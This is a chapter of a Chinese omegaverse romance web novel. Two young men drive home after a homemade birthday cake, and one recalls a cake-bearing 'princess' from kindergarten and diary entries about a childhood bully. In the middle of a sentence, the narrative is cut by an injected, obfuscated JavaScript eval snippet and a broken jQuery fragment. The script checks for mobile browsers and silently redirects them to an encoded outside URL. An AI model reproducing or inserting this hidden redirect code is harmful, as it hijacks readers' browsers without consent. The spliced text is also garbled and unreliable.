从草莓农场回城的高速公路上,视野一望无际,远处农庄静谧,暮色一点一点浸染天际。
俞昭握着方向盘,专注地目视前方。
副驾驶座上,江琅则侧头望着窗外飞逝的田野。车窗摇下一条缝,傍晚微凉的风灌进来。
车厢里安静而融洽。
只是,俞昭的心思并不完全在路上。
他无意识地敲着方向盘,嘴唇抿了又抿,终于还是没忍住,第三次开口问出同一个问题:“那个蛋糕……真不难吃?”
江琅转过头来直视他。
夕阳余晖从洒进来,给俞昭精致的侧脸镀上一层毛茸茸的金边。
他开车时习惯微微蹙着眉,那种认真的表情,似乎和下午在农场小屋里笨手笨脚抹奶油的样子重叠在一起了。
——真可爱。
这个念头冒出来时,江琅自己都被吓了一跳。
易感期激素变化的影响……恐怖如斯。
他很快调整好表情,嘴角弯起温顺的弧度:“昭昭哥,你都问第三遍了。”
“我这不是……”俞昭顿了顿,“我自己尝了,蛋糕胚的确烤过头了。奶油也没打好。草莓倒是甜,但跟我那破巧克力酱混在一起,味道乱七八糟的……”
他越说声音越小,耳朵尖都红了。
“早知道就不自己瞎折腾了。”俞昭叹了口气,“应该直接订个好的。就上次送你的蛋糕那家。他们家的草莓慕斯蛋糕是一绝……”
“我不要那个。”江琅难得强硬,直接打断。
俞昭一愣,从后视镜里瞥过去。
江琅坐直了些,转过身子,面对着他,眼神分外认真而诚恳:“你做的蛋糕,比任何店里的都好。”
俞昭张了张嘴,想说什么。
江琅的话还没完:“店里的蛋糕再好看再精致,那也是流水线上出来的,千篇一律。”
“但昭昭哥做的这个,全世界只有这一个。”
“蛋糕胚是有点干……但那是昭昭哥第一次用农场那个老式烤箱,火候没把握好很正常。而且就是因为干,每一口都要慢慢嚼,草莓的甜味才会一点一点渗出来。”
俞昭握着方向盘的手紧了紧,耳朵已经被夸得红透了。
“奶油嘛,是有颗粒感,”江琅眼睛弯起来,“但那是手工打发的痕迹啊!机器打出来的奶油太顺滑了,没有‘人’的味道。哥打的这个,每一口都能尝到用心。”
“还有草莓的摆法……”他笑出声,“虽然东倒西歪的,但特别生动。不像店里那些,精致得像个假模型。哥摆的草莓,有种……嗯,有种原始的生命力的美。”
他说到这里,忽然往前凑了凑,深吸一口气。
“而且这个蛋糕,有你的味道。”
俞昭手一抖,车子轻微地晃了一下。
“什、什么味道?”
“阳光的味道,草莓叶子的青涩味,还有……”江琅的声音压得很低、很磁性,带着一点说不清的笑意,“你手上沾的面粉和奶油的味道。全都烤进蛋糕里了。”
他看着俞昭完全变成火烧云的耳朵和脖颈,嘴角的笑意更深了。
“所以,别再说什么订蛋糕的话了。”
“我就喜欢你做的。难吃也好,难看也罢,总归是你亲手给我做的。”
车厢里陷入短暂的寂静。
俞昭盯着前方的路,喉结滚动了好几下,才哑着嗓子开口:“你这……嘴怎么这么甜。”
他真有点抵挡不住了。
江琅明明比他小了四岁……哦不是,生日过完,只小三岁了。
一岁的威力这么大的吗?
“实话实说嘛。”江琅眨了眨眼,“而且哥对我这么好,我要是还说蛋糕不好吃,那也太没良心了。”
他说着,又补充了一句:“下次生日,我还想吃昭昭哥做的蛋糕。”
“真的?”
“真的。”江琅点头,“不过下次,我可以给你打下手。我虽然不会做,但递个材料、洗个草莓还是没问题的。”
刚好红灯,俞昭直接转过头,直视着身边的青年。
几秒后,缓缓笑了起来。
笑容清浅内敛,眼睛里亮闪闪的。窗外的夜色还未降落,他眼里却提前落进了今晚第一颗星星。
“行。”俞昭说,“下次咱们一起做。”
车开回公寓楼下时,天已经全黑了。
俞昭停好车,却没立刻解安全带。他转过身,看着正在解安全带的江琅,又问:“那个……今天……开心吗?”
江琅动作一顿。
他抬起头,对上俞昭在昏暗车厢里显得格外温柔的眼睛。
“……开心。特别开心。”他神色认真,声音却很轻,“第一次有人这么认真地给我过生日。”
甚至都不需要撒谎。
因为不需要撒谎,心情也更加轻快了。
两人上楼,开门。
俞昭把背包扔在沙发上,没坐:“我得去趟画廊,今天落下的工作得补上。”
他看了眼时间便匆匆往外走,“忙的话可能今晚就不回来了。你早点休息,冰箱里有吃的,饿了自己热。”
“这么晚还去?”江琅皱眉,下意识阻拦,“不能明天吗?”
“明天有明天的活儿。”俞昭已经走到玄关换鞋,“没办法,有批新画需要查收,时间紧。”
他穿好鞋,直起身,又看了江琅一眼。
“对了,浴室那瓶草莓洗发水……你要是实在不喜欢,就别用了。我明天去给你买瓶新的。”
江琅愣了一下。
“……不用。”他听见自己说,“那瓶就挺好。”
俞昭挑眉:“真挺好?”
“刚开始不习惯而已。”江琅别过脸,“现在觉得……味道还挺特别的。”
“行,你喜欢就行。”俞昭笑着拉开门,“我走了,早点休息。”
“俞昭。”江琅下意识喊,而后才补充,“……昭昭哥。”
“嗯?”俞昭拿着手机,没怎么留意那个突然转换的称呼。
江琅又看了他几秒,才开口:“路上小心。”
俞昭笑了笑:“知道了。”
江琅站在原地,听着门外的脚步声彻底消失,才慢慢走到沙发边,坐下。
他仰头靠在沙发背上,闭上眼睛。
喉管里似乎还残留着那股甜腻的草莓蛋糕味。
干巴的蛋糕胚,糟糕的口感,混乱的味道层次。
但确实……
很甜。
还有点……说不上来的熟悉。
夜色渐渐深了。
江琅坐在沙发上,腿上的笔记本电脑显示着一份刚传过来的文件。
许逸雇的私家侦探,竟然在今天下午去了俞昭小学那边的街道社区。
看来许逸依然怀疑他是蓄意接近俞昭,但俞昭的社交关系实在太简单,一番折腾,都查到小学去了。
他不在乎许逸查,也不认为许逸能查到什么有用信息。
让他在意的,只有文件附带的几张街景老照片,有张无意中拍到了街角那家早已倒闭的幼儿园。
幼儿园学前班,六一儿童园游会。
傍晚,活动结束,小朋友们蹦蹦跳跳着被家长接走去吃大餐,教室里只剩下小江琅一个人。
爸妈都有事要忙,司机记错了时间,保姆以为他被接走了,空荡荡的教室只有一抹斜阳陪着他。
窗外隐约传来的欢笑声,和他全无干系。
三岁的小江琅坐在小椅子上,低头攥着裤腿,但没有哭。
他早就深深地知道,哭没有用。
所有人都喜欢笑盈盈、嘴巴甜的小孩。
突然,教室门被“砰”地撞开!
一个穿着层层叠得粉色蛋糕裙的“小公主”……极其彪悍地端着盘子冲进来!
一头金色的长卷发,头上戴着五彩缤纷的花环,腮红像两个太阳。
“喂!”小公主跑到他面前,把盘子往他桌上一放,“你是不是没人要了?”
小江琅愣愣地看着他——不,看着她?
这人虽然行动语言都彪悍地让他害怕,但那双眼睛亮得像葡萄,睫毛长长的,笑容干干净净,就像……就刚洗过的草莓。
盘子里是一块草莓蛋糕,奶油堆得歪歪扭扭,上面摆着一颗完整的草莓。
“这个给你!”小公主把盘子又往前推了推,“我妈妈教我做的!全世界最好吃!”
小江琅低头看看蛋糕,又抬头看看她。
小公主的脸颊上还沾着一点奶油,有些滑稽。
“快吃啊!”小公主不耐烦了,干脆挖了一大块递到他嘴边,“张嘴!”
小江琅愣愣地张开嘴。
一大勺蛋糕被硬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250269|197347||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
塞进来。
甜。
甜得发齁。
甜得他眼眶发酸。
但……那是他吃过最好吃的蛋糕。
后来的十多年,他尝过米其林三星主厨的甜点,尝过私人定制的天价蛋糕,但没有一块比得上那一口粗糙的、奶油过多的、小孩子做的草莓蛋糕。
他吃完,小公主已经跑到了门口,回头冲他做鬼脸:“下次别一个人呆着啦!小傻瓜!”
门关上了。
教室里又只剩下他一个人。
但空气里多了几丝草莓奶油的甜香。
突然到来又突然离开的小公主,就像一颗小小的、却分外明亮的星星,猝然落进他贫瘠的童年。
那是江琅人生中第一次,被人用这种蛮横却纯粹的温柔对待。
可惜,后来江琅再也没有见过那个蛋糕公主。
对方并不是幼儿园的学生,似乎只是临时来参加表演,老师那边也没有相应的记录。
但他从来没有忘记一分一毫,他还有一个带锁的日记本,记下了小江琅所有弯绕曲折、无从诉说的心事。
从对“小蛋糕”的美好回忆开始,然后……就全成了对“恶霸”俞昭的控诉!
X月X日晴
今天又被那个俞昭欺负了!他把我dǔ在qiǎng角,wèi我喝牛奶,还niē我的niǎn!
他真是一个cū lǔ、低俗的Beta!
我一定要成为Alpha!!!
不是那种欺负弱小的Alpha,而是像“小蛋糕”那样,温柔又强大的Alpha。
附:我的“小蛋糕”
(旁边贴着一张蜡笔画)
画上的“小女孩”穿着粉色公主裙,眼睛又大又圆,笑容甜得像蛋糕。
“小蛋糕”看起来是个女孩,但那行为举止……肯定是Alpha苗子没跑了。
江琅一直如此深信着,并以之为目标,艰难熬过了分化前每一个孤独的夜晚。
这张画,江琅画了很多遍。
从三岁画到六岁,从蜡笔画到素描再到水彩。
他凭着记忆不断完善那个形象。裙子的褶皱,头冠的弧度,脸颊上的奶油……
然而进入小学,他遍寻不到记忆里的“小蛋糕”,噩梦反而开始了,他一次次被四年级的“恶霸”俞昭堵在墙角。
“张嘴。”俞昭拿着草莓牛奶,动作粗鲁,“看你瘦的跟猴似的!”
小江琅死死闭着嘴,瞪着眼前这个“恶霸”。
——就是这个人,抢他玩具,害他摔倒,现在还强迫他喝东西!!
“让你喝就喝!”俞昭不耐烦了,直接捏住他的脸颊肉,把吸管塞进去。
香甜的牛奶涌进口腔。
小江琅眼眶都气红了,更气的是他真觉得草莓牛奶很好喝……
俞昭满意地笑了,松开手,撸狗一样揉他的头:“这才乖。”
动作和当年那个小公主一样粗鲁,一样蛮横。
但在江琅眼里,小蛋糕就是小蛋糕,他美好又甜蜜的“白月光”;俞昭就是俞昭,一个讨厌的、总欺负他的、还没分化就无比嚣张的“恶霸”!
他怎么可能会把眼前这个一脸坏笑的人,和记忆里那个眼睛亮晶晶的蛋糕公主联系在一起!?
在俞昭的刺激下,还未分化的江琅,提前就开始了Alpha体能耐力训练。
操场跑圈筋疲力尽时,他总会咬紧牙关,脑海里浮现出那张蜡笔画。
然后他会生出无穷的力量,多跑一圈,再跑一圈。
我要变得强大。
强大到能保护“她”那样的人。
而不是像俞昭这样,只会欺负弱小!!
直到二十一岁这天,草莓农场的下午。
阳光透过木屋窗户,照在俞昭脸颊那点意外蹭到的奶油上。
江琅回忆那点白色,恍惚了一瞬。
某个模糊的画面闪过脑海——粉色的蛋糕裙,鼻尖上的奶油……
不,不可能。
肯定是错觉。
俞昭这种人,怎么可能会是……
可今天那糟糕又笨拙的蛋糕,和记忆中那片遥远而模糊的甜,似乎也微妙地重叠了。
江琅抓了把头发,重重合上笔记本电脑。
他没有深想。
也……不敢深想。